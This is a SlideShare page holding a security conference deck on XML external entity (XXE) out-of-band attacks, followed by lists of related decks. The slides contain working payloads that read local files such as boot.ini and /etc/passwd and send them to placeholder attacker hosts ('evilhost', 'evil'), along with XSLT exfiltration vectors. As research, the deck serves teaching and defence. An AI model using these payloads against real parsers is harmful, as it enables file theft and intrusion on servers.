SlideShare a Scribd company logo
1 of 46
XML Out-Of-Band Data Retrieval

  Timur Yunusov
  Alexey Osipov
Who we are
• Timur Yunusov:
  – Web Application Security Researcher
  – International forum on practical security «Positive
    Hack Days» developer
• Alexey Osipov:
  – Attack prevention mechanisms Researcher
  – Security tools and Proof of Concepts developer
• SCADA StrangeLove team members
Agenda
•   XML Overview
•   XML eXternal Entities
•   Entities in attributes
•   Out-Of-Band attack
    – DTD
    – XSLT
• Summary
• Demos
• Questions
XML OVERVIEW
XML overview
• Very popular protocol lately
  – Serialization
  – SOA-architecture (REST, SOAP, OAuth)
  – Human-readable (at least intended to be)
• Many parsers/many options controlling
  behavior (over 9000)
• Many xml-extensions like XSLT, SOAP, XML
  schema
XML overview
• Many opportunities lead to many
  vulnerabilities:
  – Adobe (@agarri_fr, spasibo)
  – PostgreSQL (@d0znpp), PHP, Java



• Many hackers techniques
XML EXTERNAL ENTITY
XML entities
• Entities:
  – Predefined          & < %
  – General             <!ENTITY general “hello”>
  – Parameter           <!ENTITY % param “hello”>
• General and parameter entities may be:
  – Internal (defined in current DTD)
  – External (defined in external resource)
XXE impact
•   Local file reading
•   Intranet access
•   Host-scan/Port-scan
•   Remote Code Execution (not so often)
•   Denial of Service
XXE techniques
• XML data output (basic)
• Error-based XXE
  – DTD (invalid/values type definition)
  – Schema validation
• Blind techniques
  – XSD values bruteforce (@d0znpp)
Error based output
• Schema validation In Xerces
parser error : Invalid URI: :[file]
I/O warning : failed to load external entity"[file]“
parser error : DOCTYPE improperly terminated
Warning: *** [file] in *** on line 11
<!DOCTYPE html[
<!ENTITY % foo SYSTEM "file:///c:/boot.ini">
%foo;]>
XML constraints
• XML validity/well-formedness
  – WFC: No External Entity References … in attributes
  – WFC: No < in Attribute Values
  – WFC: PEs in Internal Subset
Parameter entities
      resolve/validation algorithm
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
<!ENTITY % internal SYSTEM "local_file.xml">
%internal;]> "Hello, World!"> ]>
<!ENTITY title
<html>&title;</html>

                 local_file.xml:
                 <!ENTITY title "Hello, World!">
XXE attacks restrictions
• XML parser reads only valid xml documents
  – No binary =(
  (http://www.w3.org/TR/REC-xml/#CharClasses)
  – Malformed first string (no encoding attribute)
    (Some parsers)
  – But we have wrappers!
• Resulting document should also be valid
  – No external entities in attributes
ENTITIES IN ATTRIBUTES
System entities restrictions
           bypass within attributes
Well-formed constraint:
   – No External Entity References
• So, this is not possible, right?
<!DOCTYPE root[
       <ENTITY internal SYSTEM "file:///etc/passwd">
]>
<root attrib="&internal;“/>
System entities restrictions
          bypass within attributes
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote;
<!ENTITY internal '[boot loader] timeout ***'>
%param1; ]>
<root attrib="&internal;" />                   Evil.xml

 <!ENTITY % payload SYSTEM "file:///c:/boot.ini">
 <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
Pattern validation
<xs:restriction base="xs:string">
 <xs:pattern value="&test;" />
</xs:restriction>
DEMO
OUT-OF-BAND ATTACK
XXE attacks restrictions
Server-side in general (except Adobe XXE SOP
bypass)
XXE OOB
XXE OOB
What other OOB communication techniques are
present?
DNS exfiltration via SQL Injection (@stamparm)
                             UTL_HTTP.REQUEST
                             xp_fileexist
                             Dblink
                             LOAD_FILE
XXE OOB
<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE root SYSTEM
<!DOCTYPE root [
 “http://evilhost/xml.xml”>
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
 <root>
   &trick;
%remote;
 </root>

<!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20'>
%int;
%trick;]>                                    Evil.xml
<!ENTITY % payl SYSTEM "file:///c:/boot.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://evil/?%payl;'>">
XXE OOB

                 DTD
                 Parsing, SYSTEM
                 reading




           XML
Attacker           Server

                                   PROFIT!
Parsing restrictions
• Beside restrictions of all entities there are also
  new ones
• “PEReferences forbidden in internal subset”
  (c) XML Specification
  – So we should be able to read some external
    resource (local or remote)
  – Wrappers
Parsing restrictions
• Quotes are blocking definition of entities
  – One should try single/double quotes when
    defining entity
<!ENTITY % int "<!ENTITY &#37; trick ‘*file
content’+’>"
• Space/new line/other whitespace symbols
  should not appear in URI
  – Wrappers again =)
  – Or not even needed
Vectors
• Depending on parser features – lack of DTD
  validation in main document doesn’t mean
  lack of validation everywhere. Some possible
  clues:
  – External DTD or Internal DTD subset from external
    data
  – Parameter entities only
  – XSD Schema
  – XSLT template
Vectors
•   <!DOCTYPE root SYSTEM “…”>
•   <!ENTITY external PUBLIC “some_text” “…”>
•   <tag xsi:schemaLocation=“…”/>
•   <tag xsi:noNamespaceSchemaLocation=“…”/>
•   <xs:include schemaLocation=“…”>
•   <xs:import schemaLocation=“…”>
•   <?xml-stylesheet href=“…”?>
XSLT OOB
• Controlling XSLT transformation template we
  can access some data from sensitive host:
 <xsl:variable name="payload"
   select="document('http://sensitive_host/',/)"/>
 <xsl:variable name="combine"
   select="concat('http://evilhost/', $payload)"/>
 <xsl:variable name="result"
   select="document($combine)" />
XSLT OOB
• Depending on available features we can:
  – Get non-xml data using “unparsed-text” function
  – Enumerate services/hosts with “*-available”
    functions
  – With substring() we can craft such DNS
    hostname, that will let us obtain some sensitive
    data via malicious DNS request to our server
DEMO
Vectors

           WAT R U
XML        DOIN?

XML        STAHP!
SUMMARY
XXE OOB Profit
• Server-side
  – Send file content over DNS/HTTP/HTTPs/Smb?
  – Without error/data output
• Client-side products
  – Nobody has ever tried to hack oneself ;)
  – Lots of products…
Parsers diff – MS with System.XML
• Pros:
  – URL-encodes query string for OOB technique
  – Saves all line feeds in attributes
• Cons:
  – Can’t read XML files without encoding declaration
    (we can still read Web.config .NET)
  – No wrappers (except system-wide)
Parsers diff – Java Xerces
• Pros:
  – Can read directories!
  – Sends NTLM auth data
  – Different wrappers
• Cons:
  – Converts line feeds to spaces when inserting in
    attribute
  – Can’t read multiline files with OOB technique
Parsers diff – libxml (PHP)
• Pros
  – Wrappers! (expect://, data://)
     (http://www.slideshare.net/phdays/on-secure-
     application-of-php-wrappers)
  – Most liberal parsing ???
• Cons
  – Can’t read big files by default (>8Kb)
Parsers diff
                     MS System.XML       Java Xerces       Libxml (PHP)
External entity in                      Line feeds are
 attribute value          +          converted to spaces         +
     OOB
 read multiline           +                  –                   +
      OOB                                                  Option is often
  read big files          +                  +                enabled

 Directory listing        –                  +                   –
Validating schema
     location             –                  +                   –
DEMO
Tools
XXE OOB Exploitation Toolset for Automation
• DNS knocking
• Vectors set
• HTTP Server
Tools
Metasploit module (special thnx2 @vegoshin)
• Vector set and HTTP server provided to you in
  your MSF ;-)
DEMO
Conclusions

• General ruination? ;-)
• Toolset
• New ideas for new vectors and
  applications
Special greetz

• Arseniy Reutov
• Ilya Karpov
• Mihail Firstov
• Sergey Pavlov
• Vyacheslav Egoshin
Questions?

www.scadastrangelove.org
@GiftsUngiven
@a66at

More Related Content

What's hot

Cours- Sécurité des réseaux
Cours- Sécurité des réseaux Cours- Sécurité des réseaux
Cours- Sécurité des réseaux Yassmina AGHIL
 
CNIT 123 Ch 10: Hacking Web Servers
CNIT 123 Ch 10: Hacking Web ServersCNIT 123 Ch 10: Hacking Web Servers
CNIT 123 Ch 10: Hacking Web ServersSam Bowne
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresMarco Morana
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...DirkjanMollema
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Hossam .M Hamed
 
快快樂樂SIMD
快快樂樂SIMD快快樂樂SIMD
快快樂樂SIMDWei-Ta Wang
 
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...ScyllaDB
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016Matthew Dunwoody
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injectionmatt_presson
 
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Codemotion
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRFAmit Dubey
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the databaseBernardo Damele A. G.
 
Hernan Ochoa - WCE Internals [RootedCON 2011]
Hernan Ochoa - WCE Internals [RootedCON 2011]Hernan Ochoa - WCE Internals [RootedCON 2011]
Hernan Ochoa - WCE Internals [RootedCON 2011]RootedCON
 

What's hot (20)

Cours- Sécurité des réseaux
Cours- Sécurité des réseaux Cours- Sécurité des réseaux
Cours- Sécurité des réseaux
 
CNIT 123 Ch 10: Hacking Web Servers
CNIT 123 Ch 10: Hacking Web ServersCNIT 123 Ch 10: Hacking Web Servers
CNIT 123 Ch 10: Hacking Web Servers
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Metasploit
MetasploitMetasploit
Metasploit
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
F5 TLS & SSL Practices
F5 TLS & SSL PracticesF5 TLS & SSL Practices
F5 TLS & SSL Practices
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop
 
快快樂樂SIMD
快快樂樂SIMD快快樂樂SIMD
快快樂樂SIMD
 
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
How to Secure Your Scylla Deployment: Authorization, Encryption, LDAP Authent...
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
Security Testing with OWASP ZAP in CI/CD - Simon Bennetts - Codemotion Amster...
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
JSON based CSRF
JSON based CSRFJSON based CSRF
JSON based CSRF
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Linux Hardening
Linux HardeningLinux Hardening
Linux Hardening
 
Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the database
 
Pentest with Metasploit
Pentest with MetasploitPentest with Metasploit
Pentest with Metasploit
 
Hernan Ochoa - WCE Internals [RootedCON 2011]
Hernan Ochoa - WCE Internals [RootedCON 2011]Hernan Ochoa - WCE Internals [RootedCON 2011]
Hernan Ochoa - WCE Internals [RootedCON 2011]
 

Similar to Black Hat: XML Out-Of-Band Data Retrieval

Introduction to libre « fulltext » technology
Introduction to libre « fulltext » technologyIntroduction to libre « fulltext » technology
Introduction to libre « fulltext » technologyRobert Viseur
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Positive Hack Days
 
XML External Entity Null Meet 19_3_16.pptx
XML External Entity Null Meet 19_3_16.pptxXML External Entity Null Meet 19_3_16.pptx
XML External Entity Null Meet 19_3_16.pptxSamitAnwer2
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levelsbeched
 
Simplify your integrations with Apache Camel
Simplify your integrations with Apache CamelSimplify your integrations with Apache Camel
Simplify your integrations with Apache CamelKenneth Peeples
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilitiesDefconRussia
 
Hibernate ORM: Tips, Tricks, and Performance Techniques
Hibernate ORM: Tips, Tricks, and Performance TechniquesHibernate ORM: Tips, Tricks, and Performance Techniques
Hibernate ORM: Tips, Tricks, and Performance TechniquesBrett Meyer
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsPositive Hack Days
 
Advancing JavaScript with Libraries (Yahoo Tech Talk)
Advancing JavaScript with Libraries (Yahoo Tech Talk)Advancing JavaScript with Libraries (Yahoo Tech Talk)
Advancing JavaScript with Libraries (Yahoo Tech Talk)jeresig
 
Advanced guide to develop ajax applications using dojo
Advanced guide to develop ajax applications using dojoAdvanced guide to develop ajax applications using dojo
Advanced guide to develop ajax applications using dojoFu Cheng
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0Itzik Kotler
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
Using existing language skillsets to create large-scale, cloud-based analytics
Using existing language skillsets to create large-scale, cloud-based analyticsUsing existing language skillsets to create large-scale, cloud-based analytics
Using existing language skillsets to create large-scale, cloud-based analyticsMicrosoft Tech Community
 
DSpace Under the Hood
DSpace Under the HoodDSpace Under the Hood
DSpace Under the HoodDuraSpace
 
Killing Shark-Riding Dinosaurs with ORM
Killing Shark-Riding Dinosaurs with ORMKilling Shark-Riding Dinosaurs with ORM
Killing Shark-Riding Dinosaurs with ORMOrtus Solutions, Corp
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaPrajal Kulkarni
 
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...J V
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and ActivatorKevin Webber
 
Your backend architecture is what matters slideshare
Your backend architecture is what matters slideshareYour backend architecture is what matters slideshare
Your backend architecture is what matters slideshareColin Charles
 

Similar to Black Hat: XML Out-Of-Band Data Retrieval (20)

Introduction to libre « fulltext » technology
Introduction to libre « fulltext » technologyIntroduction to libre « fulltext » technology
Introduction to libre « fulltext » technology
 
Attacks against Microsoft network web clients
Attacks against Microsoft network web clients Attacks against Microsoft network web clients
Attacks against Microsoft network web clients
 
XML External Entity Null Meet 19_3_16.pptx
XML External Entity Null Meet 19_3_16.pptxXML External Entity Null Meet 19_3_16.pptx
XML External Entity Null Meet 19_3_16.pptx
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
 
Simplify your integrations with Apache Camel
Simplify your integrations with Apache CamelSimplify your integrations with Apache Camel
Simplify your integrations with Apache Camel
 
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilitiesVorontsov, golovko   ssrf attacks and sockets. smorgasbord of vulnerabilities
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
 
Hibernate ORM: Tips, Tricks, and Performance Techniques
Hibernate ORM: Tips, Tricks, and Performance TechniquesHibernate ORM: Tips, Tricks, and Performance Techniques
Hibernate ORM: Tips, Tricks, and Performance Techniques
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing Levels
 
Advancing JavaScript with Libraries (Yahoo Tech Talk)
Advancing JavaScript with Libraries (Yahoo Tech Talk)Advancing JavaScript with Libraries (Yahoo Tech Talk)
Advancing JavaScript with Libraries (Yahoo Tech Talk)
 
Advanced guide to develop ajax applications using dojo
Advanced guide to develop ajax applications using dojoAdvanced guide to develop ajax applications using dojo
Advanced guide to develop ajax applications using dojo
 
Jinx - Malware 2.0
Jinx - Malware 2.0Jinx - Malware 2.0
Jinx - Malware 2.0
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Using existing language skillsets to create large-scale, cloud-based analytics
Using existing language skillsets to create large-scale, cloud-based analyticsUsing existing language skillsets to create large-scale, cloud-based analytics
Using existing language skillsets to create large-scale, cloud-based analytics
 
DSpace Under the Hood
DSpace Under the HoodDSpace Under the Hood
DSpace Under the Hood
 
Killing Shark-Riding Dinosaurs with ORM
Killing Shark-Riding Dinosaurs with ORMKilling Shark-Riding Dinosaurs with ORM
Killing Shark-Riding Dinosaurs with ORM
 
06.1 .Net memory management
06.1 .Net memory management06.1 .Net memory management
06.1 .Net memory management
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and Kibana
 
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...
Deep Dive: Alfresco Core Repository (... embedded in a micro-services style a...
 
Play Framework and Activator
Play Framework and ActivatorPlay Framework and Activator
Play Framework and Activator
 
Your backend architecture is what matters slideshare
Your backend architecture is what matters slideshareYour backend architecture is what matters slideshare
Your backend architecture is what matters slideshare
 

More from qqlan

D1 t1 t. yunusov k. nesterov - bootkit via sms
D1 t1   t. yunusov k. nesterov - bootkit via smsD1 t1   t. yunusov k. nesterov - bootkit via sms
D1 t1 t. yunusov k. nesterov - bootkit via smsqqlan
 
Kaspersky SAS SCADA in the Cloud
Kaspersky SAS SCADA in the CloudKaspersky SAS SCADA in the Cloud
Kaspersky SAS SCADA in the Cloudqqlan
 
Миссиоцентрический подход к кибербезопасности АСУ ТП
Миссиоцентрический подход к кибербезопасности АСУ ТПМиссиоцентрический подход к кибербезопасности АСУ ТП
Миссиоцентрический подход к кибербезопасности АСУ ТПqqlan
 
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...qqlan
 
Best of Positive Research 2013
Best of Positive Research 2013Best of Positive Research 2013
Best of Positive Research 2013qqlan
 
Web-style Wireless IDS attacks, Sergey Gordeychik
Web-style Wireless IDS attacks, Sergey GordeychikWeb-style Wireless IDS attacks, Sergey Gordeychik
Web-style Wireless IDS attacks, Sergey Gordeychikqqlan
 
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...qqlan
 
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]qqlan
 
Pt infosec - 2014 - импортозамещение
Pt   infosec - 2014 - импортозамещениеPt   infosec - 2014 - импортозамещение
Pt infosec - 2014 - импортозамещениеqqlan
 
SCADA StrangeLove Kaspersky SAS 2014 - LHC
SCADA StrangeLove Kaspersky SAS 2014 - LHCSCADA StrangeLove Kaspersky SAS 2014 - LHC
SCADA StrangeLove Kaspersky SAS 2014 - LHCqqlan
 
Firebird Interbase Database engine hacks or rtfm
Firebird Interbase Database engine hacks or rtfmFirebird Interbase Database engine hacks or rtfm
Firebird Interbase Database engine hacks or rtfmqqlan
 
SCADA StrangeLove 2: We already know
SCADA StrangeLove 2:  We already knowSCADA StrangeLove 2:  We already know
SCADA StrangeLove 2: We already knowqqlan
 
Internet connected ICS/SCADA/PLC
Internet connected ICS/SCADA/PLCInternet connected ICS/SCADA/PLC
Internet connected ICS/SCADA/PLCqqlan
 
SCADA deep inside:protocols and software architecture
SCADA deep inside:protocols and software architectureSCADA deep inside:protocols and software architecture
SCADA deep inside:protocols and software architectureqqlan
 
Techniques of attacking ICS systems
Techniques of attacking ICS systems Techniques of attacking ICS systems
Techniques of attacking ICS systems qqlan
 
Positive Technologies Application Inspector
Positive Technologies Application InspectorPositive Technologies Application Inspector
Positive Technologies Application Inspectorqqlan
 
Database honeypot by design
Database honeypot by designDatabase honeypot by design
Database honeypot by designqqlan
 
Positive Technologies Application Inspector
Positive Technologies Application InspectorPositive Technologies Application Inspector
Positive Technologies Application Inspectorqqlan
 
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2qqlan
 
Positive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysqqlan
 

More from qqlan (20)

D1 t1 t. yunusov k. nesterov - bootkit via sms
D1 t1   t. yunusov k. nesterov - bootkit via smsD1 t1   t. yunusov k. nesterov - bootkit via sms
D1 t1 t. yunusov k. nesterov - bootkit via sms
 
Kaspersky SAS SCADA in the Cloud
Kaspersky SAS SCADA in the CloudKaspersky SAS SCADA in the Cloud
Kaspersky SAS SCADA in the Cloud
 
Миссиоцентрический подход к кибербезопасности АСУ ТП
Миссиоцентрический подход к кибербезопасности АСУ ТПМиссиоцентрический подход к кибербезопасности АСУ ТП
Миссиоцентрический подход к кибербезопасности АСУ ТП
 
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...
ABUSE THEIR CLOUDS. ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ГЛАЗАМИ ПЕНТЕСТЕРА, ЮРИЙ ГОЛЬЦЕВ, СЕ...
 
Best of Positive Research 2013
Best of Positive Research 2013Best of Positive Research 2013
Best of Positive Research 2013
 
Web-style Wireless IDS attacks, Sergey Gordeychik
Web-style Wireless IDS attacks, Sergey GordeychikWeb-style Wireless IDS attacks, Sergey Gordeychik
Web-style Wireless IDS attacks, Sergey Gordeychik
 
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...
G. Gritsai, A. Timorin, Y. Goltsev, R. Ilin, S. Gordeychik, and A. Karpin, “S...
 
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]
SCADA StrangeLove: Too Smart Grid in da Cloud [31c3]
 
Pt infosec - 2014 - импортозамещение
Pt   infosec - 2014 - импортозамещениеPt   infosec - 2014 - импортозамещение
Pt infosec - 2014 - импортозамещение
 
SCADA StrangeLove Kaspersky SAS 2014 - LHC
SCADA StrangeLove Kaspersky SAS 2014 - LHCSCADA StrangeLove Kaspersky SAS 2014 - LHC
SCADA StrangeLove Kaspersky SAS 2014 - LHC
 
Firebird Interbase Database engine hacks or rtfm
Firebird Interbase Database engine hacks or rtfmFirebird Interbase Database engine hacks or rtfm
Firebird Interbase Database engine hacks or rtfm
 
SCADA StrangeLove 2: We already know
SCADA StrangeLove 2:  We already knowSCADA StrangeLove 2:  We already know
SCADA StrangeLove 2: We already know
 
Internet connected ICS/SCADA/PLC
Internet connected ICS/SCADA/PLCInternet connected ICS/SCADA/PLC
Internet connected ICS/SCADA/PLC
 
SCADA deep inside:protocols and software architecture
SCADA deep inside:protocols and software architectureSCADA deep inside:protocols and software architecture
SCADA deep inside:protocols and software architecture
 
Techniques of attacking ICS systems
Techniques of attacking ICS systems Techniques of attacking ICS systems
Techniques of attacking ICS systems
 
Positive Technologies Application Inspector
Positive Technologies Application InspectorPositive Technologies Application Inspector
Positive Technologies Application Inspector
 
Database honeypot by design
Database honeypot by designDatabase honeypot by design
Database honeypot by design
 
Positive Technologies Application Inspector
Positive Technologies Application InspectorPositive Technologies Application Inspector
Positive Technologies Application Inspector
 
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2
ICS/SCADA/PLC Google/Shodanhq Cheat Sheet v2
 
Positive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-raysPositive Technologies - S4 - Scada under x-rays
Positive Technologies - S4 - Scada under x-rays
 

Black Hat: XML Out-Of-Band Data Retrieval

  • 1. XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov
  • 2. Who we are • Timur Yunusov: – Web Application Security Researcher – International forum on practical security «Positive Hack Days» developer • Alexey Osipov: – Attack prevention mechanisms Researcher – Security tools and Proof of Concepts developer • SCADA StrangeLove team members
  • 3. Agenda • XML Overview • XML eXternal Entities • Entities in attributes • Out-Of-Band attack – DTD – XSLT • Summary • Demos • Questions
  • 5. XML overview • Very popular protocol lately – Serialization – SOA-architecture (REST, SOAP, OAuth) – Human-readable (at least intended to be) • Many parsers/many options controlling behavior (over 9000) • Many xml-extensions like XSLT, SOAP, XML schema
  • 6. XML overview • Many opportunities lead to many vulnerabilities: – Adobe (@agarri_fr, spasibo) – PostgreSQL (@d0znpp), PHP, Java • Many hackers techniques
  • 8. XML entities • Entities: – Predefined &amp; &lt; &#37; – General <!ENTITY general “hello”> – Parameter <!ENTITY % param “hello”> • General and parameter entities may be: – Internal (defined in current DTD) – External (defined in external resource)
